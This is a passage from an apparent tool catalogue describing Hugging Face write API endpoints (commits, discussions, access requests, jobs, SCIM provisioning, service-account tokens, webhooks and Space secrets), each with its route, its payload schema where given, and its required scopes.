resource service via POST /api/agentic/provisioning/resources/{id}/update_service POST /api/v1/huggingface/api/agentic/provisioning/resources/{id}/update_service. Scopes: read-memberships. huggingface_post_api_blog_by_namespace_by_slug_comment (write) — Create a new comment via POST /api/blog/{namespace}/{slug}/comment POST /api/v1/huggingface/api/blog/{namespace}/{slug}/comment. Scopes: write-discussions. huggingface_post_api_blog_by_namespace_by_slug_comment_by_commentid_reply (write) — Create a new comment via POST /api/blog/{namespace}/{slug}/comment/{commentId}/reply POST /api/v1/huggingface/api/blog/{namespace}/{slug}/comment/{commentId}/reply. Scopes: write-discussions. huggingface_post_api_blog_by_slug_comment (write) — Create a new comment via POST /api/blog/{slug}/comment POST /api/v1/huggingface/api/blog/{slug}/comment. Scopes: write-discussions. huggingface_post_api_blog_by_slug_comment_by_commentid_reply (write) — Create a new comment via POST /api/blog/{slug}/comment/{commentId}/reply POST /api/v1/huggingface/api/blog/{slug}/comment/{commentId}/reply. Scopes: write-discussions. huggingface_post_api_buckets_by_namespace_by_repo (write) — Create bucket via POST /api/buckets/{namespace}/{repo} POST /api/v1/huggingface/api/buckets/{namespace}/{repo}. Scopes: write-repos. huggingface_post_api_buckets_by_namespace_by_repo_batch (write) — Batch file operations -- Accepts NDJSON (newline-delimited JSON) where each line is an addFile, copyFile, or deleteFile instruction. All add/copy operations must come before all delete operations. JSON-lines payload: ```json '{"type":"addFile","path":"...","xetHash":"...","mtime":...,"mtimeNanos":...,"contentType":"..."}' + '{"type":"copyFile","path":"...","xetHash":"...","sourceRepoType":"...","sourceRepoId":"...","mtime":...,"mtimeNanos":...,"contentType":"..."}' + '{"type":"deleteFile","path":"..."}' ``` via POST /api/buckets/{namespace}/{repo}/batch POST /api/v1/huggingface/api/buckets/{namespace}/{repo}/batch. Scopes: write-repos. huggingface_post_api_buckets_by_namespace_by_repo_lfs_files_duplicate (write) — Duplicate xet files -- Duplicate xet-stored files from this repo (source) into another repo (target) by xet hash, without re-uploading file bytes. The caller must then commit the files with their sha256/size as usual. via POST /api/buckets/{namespace}/{repo}/lfs-files/duplicate POST /api/v1/huggingface/api/buckets/{namespace}/{repo}/lfs-files/duplicate. Scopes: write-repos. huggingface_post_api_buckets_by_namespace_by_repo_paths_info (write) — List paths info via POST /api/buckets/{namespace}/{repo}/paths-info POST /api/v1/huggingface/api/buckets/{namespace}/{repo}/paths-info. Scopes: write-repos. huggingface_post_api_buckets_by_namespace_by_repo_resource_group (write) — Add resource group -- Add the repository to a resource group via POST /api/buckets/{namespace}/{repo}/resource-group POST /api/v1/huggingface/api/buckets/{namespace}/{repo}/resource-group. Scopes: write-repos. huggingface_post_api_by_repotype_by_namespace_by_repo_discussions (write) — Create a new discussion via POST /api/{repoType}/{namespace}/{repo}/discussions POST /api/v1/huggingface/api/{repoType}/{namespace}/{repo}/discussions. Scopes: write-discussions. huggingface_post_api_by_repotype_by_namespace_by_repo_discussions_by_num_comment (write) — Create a new comment via POST /api/{repoType}/{namespace}/{repo}/discussions/{num}/comment POST /api/v1/huggingface/api/{repoType}/{namespace}/{repo}/discussions/{num}/comment. Scopes: write-discussions. huggingface_post_api_by_repotype_by_namespace_by_repo_discussions_by_num_merge (write) — Merge a pull request via POST /api/{repoType}/{namespace}/{repo}/discussions/{num}/merge POST /api/v1/huggingface/api/{repoType}/{namespace}/{repo}/discussions/{num}/merge. Scopes: write-discussions. huggingface_post_api_by_repotype_by_namespace_by_repo_discussions_by_num_pin (write) — Pin a discussion via POST /api/{repoType}/{namespace}/{repo}/discussions/{num}/pin POST /api/v1/huggingface/api/{repoType}/{namespace}/{repo}/discussions/{num}/pin. Scopes: write-discussions. huggingface_post_api_by_repotype_by_namespace_by_repo_discussions_by_num_status (write) — Change status -- Change the status of a discussion via POST /api/{repoType}/{namespace}/{repo}/discussions/{num}/status POST /api/v1/huggingface/api/{repoType}/{namespace}/{repo}/discussions/{num}/status. Scopes: write-discussions. huggingface_post_api_by_repotype_by_namespace_by_repo_discussions_by_num_title (write) — Change title -- Change the title of a discussion via POST /api/{repoType}/{namespace}/{repo}/discussions/{num}/title POST /api/v1/huggingface/api/{repoType}/{namespace}/{repo}/discussions/{num}/title. Scopes: write-discussions. huggingface_post_api_by_repotype_by_namespace_by_repo_duplicate (write) — Duplicate a repository via POST /api/{repoType}/{namespace}/{repo}/duplicate POST /api/v1/huggingface/api/{repoType}/{namespace}/{repo}/duplicate. Scopes: write-repos. huggingface_post_api_by_repotype_by_namespace_by_repo_sql_console_embed (write) — Create embed -- Create SQL Console embed via POST /api/{repoType}/{namespace}/{repo}/sql-console/embed POST /api/v1/huggingface/api/{repoType}/{namespace}/{repo}/sql-console/embed. Scopes: write-repos. huggingface_post_api_collections (write) — Create a collection via POST /api/collections POST /api/v1/huggingface/api/collections. Scopes: write-collections. huggingface_post_api_collections_by_namespace_by_slug_items (write) — Add item -- Add an item to a collection via POST /api/collections/{namespace}/{slug}/items POST /api/v1/huggingface/api/collections/{namespace}/{slug}/items. Scopes: write-collections. huggingface_post_api_collections_by_namespace_by_slug_items_batch (write) — Batch update items -- Batch update items in a collection via POST /api/collections/{namespace}/{slug}/items/batch POST /api/v1/huggingface/api/collections/{namespace}/{slug}/items/batch. Scopes: write-collections. huggingface_post_api_collections_by_namespace_by_slug_resource_group (write) — Set collection resource group -- Assign, move, or unassign an organization-owned collection to a resource group. Pass null to unassign. User-owned collections are not eligible. via POST /api/collections/{namespace}/{slug}/resource-group POST /api/v1/huggingface/api/collections/{namespace}/{slug}/resource-group. Scopes: write-collections. huggingface_post_api_credentials_revoke (write) — Revoke leaked tokens -- Publicly invalidate leaked Hugging Face access tokens. Possession of the raw token value is the only proof required: no authentication is needed, and no rights over the owning account or org are necessary. Each raw token is fully invalidated, the owning user is notified by email. Always returns 202, whether or not any of the provided tokens existed, so the response cannot be used to probe token validity. via POST /api/credentials/revoke POST /api/v1/huggingface/api/credentials/revoke. Scopes: write-repos. huggingface_post_api_datasets_by_namespace_by_repo_branch_by_rev (write) — Create branch via POST /api/datasets/{namespace}/{repo}/branch/{rev} POST /api/v1/huggingface/api/datasets/{namespace}/{repo}/branch/{rev}. Scopes: write-repos. huggingface_post_api_datasets_by_namespace_by_repo_commit_by_rev (write) — Commit -- For legacy reason, we support both `application/json` and `application/x-ndjson` but we recommend using `application/x-ndjson` to create a commit. JSON-lines payload: ```json { "key": "header", "value": { "summary": "string (REQUIRED)", "description": "string (OPTIONAL - defaults to empty string)", "parentCommit": "string (OPTIONAL - 40-character hex SHA)" } } { "key": "file", "value": { "path": "string (REQUIRED)", "content": "string (OPTIONAL - required if oldPath not set)", "encoding": "utf-8 | base64 (OPTIONAL - defaults to utf-8)", "oldPath": "string (OPTIONAL - for move/rename operations)" } } { "key": "deletedEntry", "value": { "path": "string (REQUIRED)" } } { "key": "lfsFile", "value": { "path": "string (REQUIRED - max 1000 chars)", "oid": "string (OPTIONAL - required if oldPath not set, 64 hex chars)", "algo": "sha256 (OPTIONAL - only sha256 supported)", "size": "number (OPTIONAL - required if oldPath is set)", "oldPath": "string (OPTIONAL - for move/rename operations)" } } ``` JSON payload: ```json { "summary": "string (REQUIRED)", "description": "string (OPTIONAL - defaults to empty string)", "parentCommit": "string (OPTIONAL - 40-character hex SHA)" "files": [ { "path": "string (REQUIRED)", "content": "string (OPTIONAL - required if oldPath not set)", "encoding": "utf-8 | base64 (OPTIONAL - defaults to utf-8)", "oldPath": "string (OPTIONAL - for move/rename operations)" } ], "deletedEntries": [ { "path": "string (REQUIRED)" } ], "lfsFiles": [ { "path": "string (REQUIRED - max 1000 chars)", "oid": "string (OPTIONAL - required if oldPath not set, 64 hex chars)", "algo": "sha256 (OPTIONAL - only sha256 supported)", "size": "number (OPTIONAL - required if oldPath is set)", "oldPath": "string (OPTIONAL - for move/rename operations)" } ] } ``` via POST /api/datasets/{namespace}/{repo}/commit/{rev} POST /api/v1/huggingface/api/datasets/{namespace}/{repo}/commit/{rev}. Scopes: write-repos. huggingface_post_api_datasets_by_namespace_by_repo_lfs_files_batch (write) — Delete Large files -- Delete Xet/LFS files in batch via POST /api/datasets/{namespace}/{repo}/lfs-files/batch POST /api/v1/huggingface/api/datasets/{namespace}/{repo}/lfs-files/batch. Scopes: write-repos. huggingface_post_api_datasets_by_namespace_by_repo_lfs_files_duplicate (write) — Duplicate xet files -- Duplicate xet-stored files from this repo (source) into another repo (target) by xet hash, without re-uploading file bytes. The caller must then commit the files with their sha256/size as usual. via POST /api/datasets/{namespace}/{repo}/lfs-files/duplicate POST /api/v1/huggingface/api/datasets/{namespace}/{repo}/lfs-files/duplicate. Scopes: write-repos. huggingface_post_api_datasets_by_namespace_by_repo_paths_info_by_rev (write) — List paths info via POST /api/datasets/{namespace}/{repo}/paths-info/{rev} POST /api/v1/huggingface/api/datasets/{namespace}/{repo}/paths-info/{rev}. Scopes: write-repos. huggingface_post_api_datasets_by_namespace_by_repo_preupload_by_rev (write) — Check upload method -- Check if a file should be uploaded through the Large File mechanism or directly. via POST /api/datasets/{namespace}/{repo}/preupload/{rev} POST /api/v1/huggingface/api/datasets/{namespace}/{repo}/preupload/{rev}. Scopes: write-repos. huggingface_post_api_datasets_by_namespace_by_repo_resource_group (write) — Add resource group -- Add the repository to a resource group via POST /api/datasets/{namespace}/{repo}/resource-group POST /api/v1/huggingface/api/datasets/{namespace}/{repo}/resource-group. Scopes: write-repos. huggingface_post_api_datasets_by_namespace_by_repo_super_squash_by_rev (write) — Squash ref -- Squash all commits in the current ref into a single commit with the given message. Action is irreversible. via POST /api/datasets/{namespace}/{repo}/super-squash/{rev} POST /api/v1/huggingface/api/datasets/{namespace}/{repo}/super-squash/{rev}. Scopes: write-repos. huggingface_post_api_datasets_by_namespace_by_repo_tag_by_rev (write) — Create tag via POST /api/datasets/{namespace}/{repo}/tag/{rev} POST /api/v1/huggingface/api/datasets/{namespace}/{repo}/tag/{rev}. Scopes: write-repos. huggingface_post_api_datasets_by_namespace_by_repo_user_access_request_batch (write) — Batch handle access requests -- Accept, reject or reset to pending up to 100 access requests for a single gated repository in one call. The same `status` (and optional `rejectionReason`) is applied to every request in the list. via POST /api/datasets/{namespace}/{repo}/user-access-request/batch POST /api/v1/huggingface/api/datasets/{namespace}/{repo}/user-access-request/batch. Scopes: write-repos. huggingface_post_api_datasets_by_namespace_by_repo_user_access_request_cancel (write) — Cancel access request -- Cancel the current user's access request to a gated repository via POST /api/datasets/{namespace}/{repo}/user-access-request/cancel POST /api/v1/huggingface/api/datasets/{namespace}/{repo}/user-access-request/cancel. Scopes: write-repos. huggingface_post_api_datasets_by_namespace_by_repo_user_access_request_grant (write) — Grant access -- Grant access to a user for a gated repository via POST /api/datasets/{namespace}/{repo}/user-access-request/grant POST /api/v1/huggingface/api/datasets/{namespace}/{repo}/user-access-request/grant. Scopes: write-repos. huggingface_post_api_datasets_by_namespace_by_repo_user_access_request_handle (write) — Handle access request -- Handle a user's access request to a gated repository via POST /api/datasets/{namespace}/{repo}/user-access-request/handle POST /api/v1/huggingface/api/datasets/{namespace}/{repo}/user-access-request/handle. Scopes: write-repos. huggingface_post_api_inference_endpoints_by_namespace_auth_check_by_perms (write) — Check access -- Check if the user has access to the inference endpoint via POST /api/inference-endpoints/{namespace}/auth-check/{perms} POST /api/v1/huggingface/api/inference-endpoints/{namespace}/auth-check/{perms}. Scopes: write-endpoints. huggingface_post_api_inference_endpoints_by_namespace_by_endpoint_auth_check_by_perms (write) — Check access -- Check if the user has access to the inference endpoint via POST /api/inference-endpoints/{namespace}/{endpoint}/auth-check/{perms} POST /api/v1/huggingface/api/inference-endpoints/{namespace}/{endpoint}/auth-check/{perms}. Scopes: write-endpoints. huggingface_post_api_jobs_by_namespace (write) — Start a job via POST /api/jobs/{namespace} POST /api/v1/huggingface/api/jobs/{namespace}. Scopes: jobs. huggingface_post_api_jobs_by_namespace_auth_check_by_perms (write) — Check access -- Check if the user has access to jobs in the namespace via POST /api/jobs/{namespace}/auth-check/{perms} POST /api/v1/huggingface/api/jobs/{namespace}/auth-check/{perms}. Scopes: jobs. huggingface_post_api_jobs_by_namespace_by_jobid_auth_check_by_perms (write) — Check access -- Check if the user has access to jobs in the namespace via POST /api/jobs/{namespace}/{jobId}/auth-check/{perms} POST /api/v1/huggingface/api/jobs/{namespace}/{jobId}/auth-check/{perms}. Scopes: jobs. huggingface_post_api_jobs_by_namespace_by_jobid_cancel (write) — Cancel a job via POST /api/jobs/{namespace}/{jobId}/cancel POST /api/v1/huggingface/api/jobs/{namespace}/{jobId}/cancel. Scopes: jobs. huggingface_post_api_jobs_by_namespace_by_jobid_duplicate (write) — Duplicate a job -- Duplicate an existing job, re-using its spec via POST /api/jobs/{namespace}/{jobId}/duplicate POST /api/v1/huggingface/api/jobs/{namespace}/{jobId}/duplicate. Scopes: jobs. huggingface_post_api_kernels_by_namespace_by_repo_lfs_files_duplicate (write) — Duplicate xet files -- Duplicate xet-stored files from this repo (source) into another repo (target) by xet hash, without re-uploading file bytes. The caller must then commit the files with their sha256/size as usual. via POST /api/kernels/{namespace}/{repo}/lfs-files/duplicate POST /api/v1/huggingface/api/kernels/{namespace}/{repo}/lfs-files/duplicate. Scopes: write-repos. huggingface_post_api_models_by_namespace_by_repo_branch_by_rev (write) — Create branch via POST /api/models/{namespace}/{repo}/branch/{rev} POST /api/v1/huggingface/api/models/{namespace}/{repo}/branch/{rev}. Scopes: write-repos. huggingface_post_api_models_by_namespace_by_repo_commit_by_rev (write) — Commit -- For legacy reason, we support both `application/json` and `application/x-ndjson` but we recommend using `application/x-ndjson` to create a commit. JSON-lines payload: ```json { "key": "header", "value": { "summary": "string (REQUIRED)", "description": "string (OPTIONAL - defaults to empty string)", "parentCommit": "string (OPTIONAL - 40-character hex SHA)" } } { "key": "file", "value": { "path": "string (REQUIRED)", "content": "string (OPTIONAL - required if oldPath not set)", "encoding": "utf-8 | base64 (OPTIONAL - defaults to utf-8)", "oldPath": "string (OPTIONAL - for move/rename operations)" } } { "key": "deletedEntry", "value": { "path": "string (REQUIRED)" } } { "key": "lfsFile", "value": { "path": "string (REQUIRED - max 1000 chars)", "oid": "string (OPTIONAL - required if oldPath not set, 64 hex chars)", "algo": "sha256 (OPTIONAL - only sha256 supported)", "size": "number (OPTIONAL - required if oldPath is set)", "oldPath": "string (OPTIONAL - for move/rename operations)" } } ``` JSON payload: ```json { "summary": "string (REQUIRED)", "description": "string (OPTIONAL - defaults to empty string)", "parentCommit": "string (OPTIONAL - 40-character hex SHA)" "files": [ { "path": "string (REQUIRED)", "content": "string (OPTIONAL - required if oldPath not set)", "encoding": "utf-8 | base64 (OPTIONAL - defaults to utf-8)", "oldPath": "string (OPTIONAL - for move/rename operations)" } ], "deletedEntries": [ { "path": "string (REQUIRED)" } ], "lfsFiles": [ { "path": "string (REQUIRED - max 1000 chars)", "oid": "string (OPTIONAL - required if oldPath not set, 64 hex chars)", "algo": "sha256 (OPTIONAL - only sha256 supported)", "size": "number (OPTIONAL - required if oldPath is set)", "oldPath": "string (OPTIONAL - for move/rename operations)" } ] } ``` via POST /api/models/{namespace}/{repo}/commit/{rev} POST /api/v1/huggingface/api/models/{namespace}/{repo}/commit/{rev}. Scopes: write-repos. huggingface_post_api_models_by_namespace_by_repo_lfs_files_batch (write) — Delete Large files -- Delete Xet/LFS files in batch via POST /api/models/{namespace}/{repo}/lfs-files/batch POST /api/v1/huggingface/api/models/{namespace}/{repo}/lfs-files/batch. Scopes: write-repos. huggingface_post_api_models_by_namespace_by_repo_lfs_files_duplicate (write) — Duplicate xet files -- Duplicate xet-stored files from this repo (source) into another repo (target) by xet hash, without re-uploading file bytes. The caller must then commit the files with their sha256/size as usual. via POST /api/models/{namespace}/{repo}/lfs-files/duplicate POST /api/v1/huggingface/api/models/{namespace}/{repo}/lfs-files/duplicate. Scopes: write-repos. huggingface_post_api_models_by_namespace_by_repo_paths_info_by_rev (write) — List paths info via POST /api/models/{namespace}/{repo}/paths-info/{rev} POST /api/v1/huggingface/api/models/{namespace}/{repo}/paths-info/{rev}. Scopes: write-repos. huggingface_post_api_models_by_namespace_by_repo_preupload_by_rev (write) — Check upload method -- Check if a file should be uploaded through the Large File mechanism or directly. via POST /api/models/{namespace}/{repo}/preupload/{rev} POST /api/v1/huggingface/api/models/{namespace}/{repo}/preupload/{rev}. Scopes: write-repos. huggingface_post_api_models_by_namespace_by_repo_resource_group (write) — Add resource group -- Add the repository to a resource group via POST /api/models/{namespace}/{repo}/resource-group POST /api/v1/huggingface/api/models/{namespace}/{repo}/resource-group. Scopes: write-repos. huggingface_post_api_models_by_namespace_by_repo_super_squash_by_rev (write) — Squash ref -- Squash all commits in the current ref into a single commit with the given message. Action is irreversible. via POST /api/models/{namespace}/{repo}/super-squash/{rev} POST /api/v1/huggingface/api/models/{namespace}/{repo}/super-squash/{rev}. Scopes: write-repos. huggingface_post_api_models_by_namespace_by_repo_tag_by_rev (write) — Create tag via POST /api/models/{namespace}/{repo}/tag/{rev} POST /api/v1/huggingface/api/models/{namespace}/{repo}/tag/{rev}. Scopes: write-repos. huggingface_post_api_models_by_namespace_by_repo_user_access_request_batch (write) — Batch handle access requests -- Accept, reject or reset to pending up to 100 access requests for a single gated repository in one call. The same `status` (and optional `rejectionReason`) is applied to every request in the list. via POST /api/models/{namespace}/{repo}/user-access-request/batch POST /api/v1/huggingface/api/models/{namespace}/{repo}/user-access-request/batch. Scopes: write-repos. huggingface_post_api_models_by_namespace_by_repo_user_access_request_cancel (write) — Cancel access request -- Cancel the current user's access request to a gated repository via POST /api/models/{namespace}/{repo}/user-access-request/cancel POST /api/v1/huggingface/api/models/{namespace}/{repo}/user-access-request/cancel. Scopes: write-repos. huggingface_post_api_models_by_namespace_by_repo_user_access_request_grant (write) — Grant access -- Grant access to a user for a gated repository via POST /api/models/{namespace}/{repo}/user-access-request/grant POST /api/v1/huggingface/api/models/{namespace}/{repo}/user-access-request/grant. Scopes: write-repos. huggingface_post_api_models_by_namespace_by_repo_user_access_request_handle (write) — Handle access request -- Handle a user's access request to a gated repository via POST /api/models/{namespace}/{repo}/user-access-request/handle POST /api/v1/huggingface/api/models/{namespace}/{repo}/user-access-request/handle. Scopes: write-repos. huggingface_post_api_notifications_mark_as_read (write) — Change read status -- Mark discussions as read or unread. If `applyToAll` is true, all notifications for the user matching the search parameters will be marked as read or unread. via POST /api/notifications/mark-as-read POST /api/v1/huggingface/api/notifications/mark-as-read. Scopes: write-repos. huggingface_post_api_organizations_by_name_resource_groups (write) — Create resource group -- Create a new resource group in the organization. Requires the org to have a Team plan or higher. via POST /api/organizations/{name}/resource-groups POST /api/v1/huggingface/api/organizations/{name}/resource-groups. Scopes: read-memberships. huggingface_post_api_organizations_by_name_resource_groups_by_resourcegroupid_settings (write) — Configure auto-join -- Configure the auto-join settings of a resource group. Requires the org to have a Team plan or higher. via POST /api/organizations/{name}/resource-groups/{resourceGroupId}/settings POST /api/v1/huggingface/api/organizations/{name}/resource-groups/{resourceGroupId}/settings. Scopes: read-memberships. huggingface_post_api_organizations_by_name_resource_groups_by_resourcegroupid_users (write) — Add users -- Add one or more organization members to a resource group. Requires the org to have a Team plan or higher. via POST /api/organizations/{name}/resource-groups/{resourceGroupId}/users POST /api/v1/huggingface/api/organizations/{name}/resource-groups/{resourceGroupId}/users. Scopes: read-memberships. huggingface_post_api_organizations_by_name_scim_provisioning_v2_groups (write) — Create a SCIM group -- Creates a new group in the organization. The group name must be unique within the organization. via POST /api/organizations/{name}/scim-provisioning/v2/Groups POST /api/v1/huggingface/api/organizations/{name}/scim-provisioning/v2/Groups. Scopes: read-memberships. huggingface_post_api_organizations_by_name_scim_provisioning_v2_users (write) — Create SCIM invitation -- Creates an invitation for a user to join the organization. The user must have an existing Hugging Face account. via POST /api/organizations/{name}/scim-provisioning/v2/Users POST /api/v1/huggingface/api/organizations/{name}/scim-provisioning/v2/Users. Scopes: read-memberships. huggingface_post_api_organizations_by_name_scim_v2_groups (write) — Create a SCIM group -- Creates a new group in the organization. The group name must be unique within the organization. via POST /api/organizations/{name}/scim/v2/Groups POST /api/v1/huggingface/api/organizations/{name}/scim/v2/Groups. Scopes: read-memberships. huggingface_post_api_organizations_by_name_scim_v2_users (write) — Create a SCIM user -- Creates a new user in the organization. If the user already exists, only `active` field will be updated to provision the user. via POST /api/organizations/{name}/scim/v2/Users POST /api/v1/huggingface/api/organizations/{name}/scim/v2/Users. Scopes: read-memberships. huggingface_post_api_organizations_by_name_service_accounts (write) — Create service account -- Create a new service account for the organization. via POST /api/organizations/{name}/service-accounts POST /api/v1/huggingface/api/organizations/{name}/service-accounts. Scopes: read-memberships. huggingface_post_api_organizations_by_name_service_accounts_by_serviceaccountid_tokens (write) — Create service-account token -- Create a new access token for a service account. Store the token securely - it cannot be retrieved later. via POST /api/organizations/{name}/service-accounts/{serviceAccountId}/tokens POST /api/v1/huggingface/api/organizations/{name}/service-accounts/{serviceAccountId}/tokens. Scopes: read-memberships. huggingface_post_api_organizations_by_name_service_accounts_by_serviceaccountid_tokens_by_tokenid_rotate (write) — Rotate service-account token -- Invalidate an existing token and generate a new one with the same permissions. The old token will stop working immediately. via POST /api/organizations/{name}/service-accounts/{serviceAccountId}/tokens/{tokenId}/rotate POST /api/v1/huggingface/api/organizations/{name}/service-accounts/{serviceAccountId}/tokens/{tokenId}/rotate. Scopes: read-memberships. huggingface_post_api_organizations_by_name_settings_tokens_by_tokenid_revoke (write) — Revoke member token -- An org admin can revoke a token's access to the org. The token itself isn't deleted, it still works outside the org. The token id is the one displayed in the org token settings page or through the tokens listing API endpoint. Enterprise only. via POST /api/organizations/{name}/settings/tokens/{tokenId}/revoke POST /api/v1/huggingface/api/organizations/{name}/settings/tokens/{tokenId}/revoke. Scopes: read-memberships. huggingface_post_api_papers_by_paperid_comment (write) — Create a new comment via POST /api/papers/{paperId}/comment POST /api/v1/huggingface/api/papers/{paperId}/comment. Scopes: write-discussions. huggingface_post_api_papers_by_paperid_comment_by_commentid_reply (write) — Create a new comment via POST /api/papers/{paperId}/comment/{commentId}/reply POST /api/v1/huggingface/api/papers/{paperId}/comment/{commentId}/reply. Scopes: write-discussions. huggingface_post_api_papers_by_paperid_links (write) — Update paper links -- Update the project page, GitHub repository, or submitting organization for a paper. Requires the requester to be the paper author, the Daily Papers submitter, or a papers admin. via POST /api/papers/{paperId}/links POST /api/v1/huggingface/api/papers/{paperId}/links. Scopes: write-repos. huggingface_post_api_papers_index (write) — Index a paper -- Index a paper from arXiv by its ID. If the paper is already indexed, only its authors can re-index it. via POST /api/papers/index POST /api/v1/huggingface/api/papers/index. Scopes: write-repos. huggingface_post_api_posts_by_username_by_postslug_comment (write) — Create a new comment via POST /api/posts/{username}/{postSlug}/comment POST /api/v1/huggingface/api/posts/{username}/{postSlug}/comment. Scopes: write-discussions. huggingface_post_api_posts_by_username_by_postslug_comment_by_commentid_reply (write) — Create a new comment via POST /api/posts/{username}/{postSlug}/comment/{commentId}/reply POST /api/v1/huggingface/api/posts/{username}/{postSlug}/comment/{commentId}/reply. Scopes: write-discussions. huggingface_post_api_quicksearch (write) — Quick search -- Quick search for models, datasets, spaces, orgs, users, papers, collections, and buckets via POST /api/quicksearch POST /api/v1/huggingface/api/quicksearch. Scopes: write-repos. huggingface_post_api_repos_create (write) — Create a new repository via POST /api/repos/create POST /api/v1/huggingface/api/repos/create. Scopes: write-repos. huggingface_post_api_repos_move (write) — Move repo -- Move or rename a repo via POST /api/repos/move POST /api/v1/huggingface/api/repos/move. Scopes: write-repos. huggingface_post_api_scheduled_jobs_by_namespace (write) — Create a scheduled job via POST /api/scheduled-jobs/{namespace} POST /api/v1/huggingface/api/scheduled-jobs/{namespace}. Scopes: jobs. huggingface_post_api_scheduled_jobs_by_namespace_by_jobid_resume (write) — Resume a scheduled job via POST /api/scheduled-jobs/{namespace}/{jobId}/resume POST /api/v1/huggingface/api/scheduled-jobs/{namespace}/{jobId}/resume. Scopes: jobs. huggingface_post_api_scheduled_jobs_by_namespace_by_jobid_run (write) — Run job -- Trigger a scheduled job run. Trigger a scheduled job to run immediately. Throws an error if an instance is already running and job spec does not allow concurrent runs. via POST /api/scheduled-jobs/{namespace}/{jobId}/run POST /api/v1/huggingface/api/scheduled-jobs/{namespace}/{jobId}/run. Scopes: jobs. huggingface_post_api_scheduled_jobs_by_namespace_by_jobid_schedule (write) — Update job schedule via POST /api/scheduled-jobs/{namespace}/{jobId}/schedule POST /api/v1/huggingface/api/scheduled-jobs/{namespace}/{jobId}/schedule. Scopes: jobs. huggingface_post_api_scheduled_jobs_by_namespace_by_jobid_suspend (write) — Suspend a scheduled job via POST /api/scheduled-jobs/{namespace}/{jobId}/suspend POST /api/v1/huggingface/api/scheduled-jobs/{namespace}/{jobId}/suspend. Scopes: jobs. huggingface_post_api_settings_papers_claim (write) — Claim paper authorship via POST /api/settings/papers/claim POST /api/v1/huggingface/api/settings/papers/claim. Scopes: write-repos. huggingface_post_api_settings_webhooks (write) — Create webhook via POST /api/settings/webhooks POST /api/v1/huggingface/api/settings/webhooks. Scopes: webhooks. huggingface_post_api_settings_webhooks_by_webhookid (write) — Update webhook via POST /api/settings/webhooks/{webhookId} POST /api/v1/huggingface/api/settings/webhooks/{webhookId}. Scopes: webhooks. huggingface_post_api_settings_webhooks_by_webhookid_by_action (write) — Enable/disable webhook via POST /api/settings/webhooks/{webhookId}/{action} POST /api/v1/huggingface/api/settings/webhooks/{webhookId}/{action}. Scopes: webhooks. huggingface_post_api_settings_webhooks_by_webhookid_replay_by_logid (write) — Replay webhook log via POST /api/settings/webhooks/{webhookId}/replay/{logId} POST /api/v1/huggingface/api/settings/webhooks/{webhookId}/replay/{logId}. Scopes: webhooks. huggingface_post_api_spaces_by_namespace_by_repo_branch_by_rev (write) — Create branch via POST /api/spaces/{namespace}/{repo}/branch/{rev} POST /api/v1/huggingface/api/spaces/{namespace}/{repo}/branch/{rev}. Scopes: write-repos. huggingface_post_api_spaces_by_namespace_by_repo_commit_by_rev (write) — Commit -- For legacy reason, we support both `application/json` and `application/x-ndjson` but we recommend using `application/x-ndjson` to create a commit. JSON-lines payload: ```json { "key": "header", "value": { "summary": "string (REQUIRED)", "description": "string (OPTIONAL - defaults to empty string)", "parentCommit": "string (OPTIONAL - 40-character hex SHA)" } } { "key": "file", "value": { "path": "string (REQUIRED)", "content": "string (OPTIONAL - required if oldPath not set)", "encoding": "utf-8 | base64 (OPTIONAL - defaults to utf-8)", "oldPath": "string (OPTIONAL - for move/rename operations)" } } { "key": "deletedEntry", "value": { "path": "string (REQUIRED)" } } { "key": "lfsFile", "value": { "path": "string (REQUIRED - max 1000 chars)", "oid": "string (OPTIONAL - required if oldPath not set, 64 hex chars)", "algo": "sha256 (OPTIONAL - only sha256 supported)", "size": "number (OPTIONAL - required if oldPath is set)", "oldPath": "string (OPTIONAL - for move/rename operations)" } } ``` JSON payload: ```json { "summary": "string (REQUIRED)", "description": "string (OPTIONAL - defaults to empty string)", "parentCommit": "string (OPTIONAL - 40-character hex SHA)" "files": [ { "path": "string (REQUIRED)", "content": "string (OPTIONAL - required if oldPath not set)", "encoding": "utf-8 | base64 (OPTIONAL - defaults to utf-8)", "oldPath": "string (OPTIONAL - for move/rename operations)" } ], "deletedEntries": [ { "path": "string (REQUIRED)" } ], "lfsFiles": [ { "path": "string (REQUIRED - max 1000 chars)", "oid": "string (OPTIONAL - required if oldPath not set, 64 hex chars)", "algo": "sha256 (OPTIONAL - only sha256 supported)", "size": "number (OPTIONAL - required if oldPath is set)", "oldPath": "string (OPTIONAL - for move/rename operations)" } ] } ``` via POST /api/spaces/{namespace}/{repo}/commit/{rev} POST /api/v1/huggingface/api/spaces/{namespace}/{repo}/commit/{rev}. Scopes: write-repos. huggingface_post_api_spaces_by_namespace_by_repo_lfs_files_batch (write) — Delete Large files -- Delete Xet/LFS files in batch via POST /api/spaces/{namespace}/{repo}/lfs-files/batch POST /api/v1/huggingface/api/spaces/{namespace}/{repo}/lfs-files/batch. Scopes: write-repos. huggingface_post_api_spaces_by_namespace_by_repo_lfs_files_duplicate (write) — Duplicate xet files -- Duplicate xet-stored files from this repo (source) into another repo (target) by xet hash, without re-uploading file bytes. The caller must then commit the files with their sha256/size as usual. via POST /api/spaces/{namespace}/{repo}/lfs-files/duplicate POST /api/v1/huggingface/api/spaces/{namespace}/{repo}/lfs-files/duplicate. Scopes: write-repos. huggingface_post_api_spaces_by_namespace_by_repo_paths_info_by_rev (write) — List paths info via POST /api/spaces/{namespace}/{repo}/paths-info/{rev} POST /api/v1/huggingface/api/spaces/{namespace}/{repo}/paths-info/{rev}. Scopes: write-repos. huggingface_post_api_spaces_by_namespace_by_repo_preupload_by_rev (write) — Check upload method -- Check if a file should be uploaded through the Large File mechanism or directly. via POST /api/spaces/{namespace}/{repo}/preupload/{rev} POST /api/v1/huggingface/api/spaces/{namespace}/{repo}/preupload/{rev}. Scopes: write-repos. huggingface_post_api_spaces_by_namespace_by_repo_resource_group (write) — Add resource group -- Add the repository to a resource group via POST /api/spaces/{namespace}/{repo}/resource-group POST /api/v1/huggingface/api/spaces/{namespace}/{repo}/resource-group. Scopes: write-repos. huggingface_post_api_spaces_by_namespace_by_repo_secrets (write) — Upsert secret -- Upsert Spaces's secret via POST /api/spaces/{namespace}/{repo}/secrets POST /api/v1/huggingface/api/spaces/{namespace}/{repo}/secrets. Scopes: write-repos. huggingface_post_api_spaces_by_namespace_by_repo_super_squash_by_rev (write) — Squash ref -- Squash all commits in the current ref into a single commit with the given message. Action is irreversible. via POST /api/spaces/{namespace}/{repo}/super-squash/{rev} POST /api/v1/huggingface/api/spaces/{namespace}/{repo}/super-squash/{rev}. Scopes: write-repos. 